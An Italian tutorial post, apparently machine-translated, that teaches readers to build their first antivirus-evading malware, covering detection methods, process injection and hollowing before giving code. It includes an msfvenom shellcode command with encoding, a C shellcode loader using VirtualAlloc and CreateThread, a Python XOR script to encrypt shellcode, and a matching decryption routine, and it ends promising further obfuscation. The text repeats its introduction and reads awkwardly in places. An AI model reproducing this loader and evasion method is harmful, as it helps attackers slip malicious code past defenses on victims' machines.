Evasione AV/EDR | Sviluppo malware

Feb 18 2023
Ciao, hai pensato prima a come gli hacker possono eludere le soluzioni antivirus!, Costruiremo insieme il tuo primo malware di base in grado di eludere l'AV e comprendere alcune nozioni di base. Per creare il nostro malware dobbiamo comprendere alcune nozioni di base come: 1 — Cosa sono i passaggi dell'analisi del malware 2 — In che modo AV o antivirus rilevano programmi o codici dannosi3 — Cosa sono le tecniche di evasione AV (On-Desk — In-Memory)4 — Facciamo Scrivi il nostro malware in "C" — Tempo pratico Quali sono le fasi dell'analisi del malware? 1 - Analisi statica → Fondamentalmente senza alcun complesso è il passaggio in cui iniziamo ad analizzare il malware o il programma senza aprirlo, cerchiamo molte cose nel malware nel passaggio dell'analisi statica come (intestazione PE, stringhe, informazioni sui file).

Ciao, hai pensato prima a come gli hacker possono eludere le soluzioni antivirus!, Costruiremo insieme il tuo primo malware di base in grado di eludere l'AV e comprendere alcune nozioni di base.

Per creare il nostro malware dobbiamo comprendere alcune nozioni di base come:

1 — Che cos'è la procedura di analisi del malware
2 — In che modo AV o antivirus rilevano programmi o codici dannosi
3 — Che cos'è la tecnica di evasione AV (On-Desk — In-Memory)
4 — Scriviamo il nostro malware in "C" — Tempo pratico

Quali sono i passaggi dell'analisi del malware?

1 - Analisi statica → Fondamentalmente senza alcun complesso è il passaggio in cui iniziamo ad analizzare il malware o il programma senza aprirlo, cerchiamo molte cose nel malware nel passaggio dell'analisi statica come (intestazione PE, stringhe, informazioni sui file).

2 — Analisi dinamica → Ora possiamo dire che è il processo in cui analizziamo il malware dopo aver eseguito il malware, cerchiamo molte cose come le "modifiche di sistema" e "monitoriamo i comportamenti" per vedere cosa fa il malware.

In questa immagine è una semplice analisi dinamica che analizza il traffico di rete.

Nota: ci sono 4 passaggi dopo che ci sono (Analisi statica - Analisi dinamica - Analisi statica avanzata - Analisi dinamica avanzata) Ma puoi cercare :)

Ora parleremo di come AV rileva i malware.

Anti-Virus Segui i 3 passaggi principali per rilevare i malware:

1 — Rilevamento basato sulla firma → Questa tecnica prevede il confronto di file e traffico di rete con un database di firme di malware note. Se viene trovata una corrispondenza, il file o il traffico viene contrassegnato come potenzialmente dannoso.

In questa immagine vedrai alcuni esadecimali, ad esempio se l'AV confronta una parte di questi esagoni saprà se è dannoso ...

2 — Rilevamento basato sull'euristica → Questa tecnica prevede l'utilizzo dell'apprendimento automatico e dell'intelligenza artificiale per analizzare il comportamento dei file e del traffico di rete. Se un file o un traffico presenta un comportamento sospetto, potrebbe essere contrassegnato come potenzialmente dannoso, anche questa tecnica si può dire sta leggendo le istruzioni del codice.

3 — Rilevamento basato sul comportamento → Questa tecnica prevede l'analisi del comportamento dei file e del traffico di rete nel tempo per identificare modelli di attività dannose. Se un file o un traffico presenta un comportamento significativamente diverso da quanto previsto, potrebbe essere contrassegnato come potenzialmente dannoso.

In questa immagine stiamo monitorando le attività, quando l'av ritiene che ci siano molte attività aperte o potenzialmente dannose, verrà rilevato dal "Rilevamento basato sul comportamento"

Tecniche di evasione AV:

Abbiamo 2 argomenti principali (sulla scrivania - In memoria) come:

(1) Alla scrivania:

  • Packer → Compattare malware è come comprimere il file per contenere nuove istruzioni e dimensioni del file che eluderanno il "rilevamento basato sulla firma"
  • Offuscatori → Offusca le funzioni nella lista nera, ad esempio (VirtualAlloc - VirtualProtect e altro ...) che eludono il "rilevamento euristico" che le sue istruzioni non possono essere lette bene dalla soluzione AV
  • Protectors → A complicare il processo di reverse engineering del malware, The Protectors è un'app normale che non è stata progettata per essere utilizzata in Evasion ma è utile

Remote Process Memory Injection: iniettiamo il nostro processo o payload in un processo normale, per utilizzare questa tecnica abbiamo bisogno di alcune API come:

Reflective DLL Injection: tecnica di iniezione che consente di caricare una DLL nella memoria di un processo senza chiamare le API standard di Windows per il caricamento delle DLL. Ciò può essere utile in situazioni in cui i metodi tradizionali di iniezione di DLL non sono possibili a causa di restrizioni o misure di sicurezza. Reflective DLL Injection funziona utilizzando una tecnica nota come mappatura manuale. L'idea di base è mappare la DLL in memoria ed eseguirla direttamente, senza utilizzare le chiamate API standard di Windows. Ciò consente l'esecuzione della DLL senza attivare avvisi di sicurezza o essere rilevata dal software antivirus.

Svuotamento del processo: creiamo un processo falso che occupa spazio, quindi lo interrompiamo e cambiamo il suo contenuto nel nostro carico utile e continuiamo il processo di nuovo con le sue nuove istruzioni e contenuto

Inline Hooking: è una tecnica che comporta la modifica del codice di un processo mentre è in esecuzione in memoria. Questo viene fatto reindirizzando le chiamate di funzione dal codice originale a una posizione diversa nella memoria.

Ci sono più tecniche, ma queste sono le famose tecniche utilizzate.

Scrivere malware di base.

In ogni malware mettiamo prima lo shellcode, quindi cos'è lo shellcode!? → sono alcuni byte che la CPU e la RAM possono capirlo, lo shellcode contiene un processo che desideri e per generarlo puoi aprire il tuo terminale e digitare ...

msfvenom -p windows/exec CMD=calc.exe -e x86/shikata_ga_nai -b '\x00\x0a\x0d' -i 10 -f c

Quindi, come inserirlo nel nostro codice c?, Facilmente lo inserirai in una variabile come questa:

unsigned char shellcode[] = {"Put here your shellcode"};
unsigned int shellcode_len = sizeof(shellcode); // To get the size of the shellcode

void main() /* The Main Function */

{
        void* exec_mem; // Memory Buffer For Payload/Shellcode 
        HANDLE th; 
        DWORD oldprotect = 0;

        exec_mem = VirtualAlloc(0, shellcode_len , MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); /* Allocate a memory buffer for payload */
        RtlMoveMemory(exec_mem, shellcode, shellcode_len); /* Copy/Move payload to buffer or Memory */

        th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec_mem, 0, 0, 0);
        WaitForSingleObject(th, -1);

    

}

È rilevabile giusto!

Malware offuscato e crittografato per non essere rilevabile.

Quindi, se scrivi il codice che ho menzionato prima e se provi a eseguire Runit ti dirà che è virus! quindi cosa faremo?

La prima cosa dannosa è che il codice è lo "shellcode", quindi dobbiamo crittografarlo e oscurarlo per renderlo incomprensibile da AV Solutions, quindi dobbiamo crittografarlo, MA COME!?

Creiamo un piccolo script python che crittografa gli shellcode e rendiamo l'output in formato C.

# Put your shellcode in data variable.

data = b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50"
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26"
"\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7"
"\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78"
"\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3"
"\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01"
"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3"
"\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a"
"\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d"
"\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb"
"\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c"
"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53"
"\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"

key  = 0x50 # Put here your key as byte like for example (0x90 or 0x40 or 0x30) and more...

print('{ ', end='')
for i in data:
    print(hex(i ^ key), end=', ')

print("0x0 };") # Notice that it adds one byte "0x0" to the end.

Quindi, ora puoi cambiare il tuo shellcode, sarà così

unsigned char shellcode[] = {0xac, 0xb8, 0xd2, 0x50, 0x50, 0x50, 0x30, 0xd9, 0xb5, 0x61, 0x90, 0x34, 0xdb, 0x0, 0x0 };

Quindi dobbiamo aggiungere la funzione di decrittazione che sarà così:

/* The Decryption Function */

void decrypt(char* shell, int nSize)
{
    for (int i = 0; i < nSize; i++)
    {
        shell[i] = shell[i] ^ KEY;
    }

}

#define SIZEOF(x) sizeof(x) - 1
#define KEY 0x50

unsigned char shellcode[] = {0xac, 0xb8, 0xd2, 0x50, 0x50, 0x50, 0x30, 0xd9, 0xb5, 0x61, 0x90, 0x34, 0xdb, 0x0, 0x0 };
unsigned int shellcode_len = SIZEOF(shellcode);

decrypt(shellcode, shellcode_len);

1 — VirtualAlloc
2 — CreateThread
3 — RtlMoveMemory

Queste funzioni sono nella lista nera dell'Anti-Virus e dovremmo offuscarle! ma aggiungeremo molte cose.

Continuerà più tardi...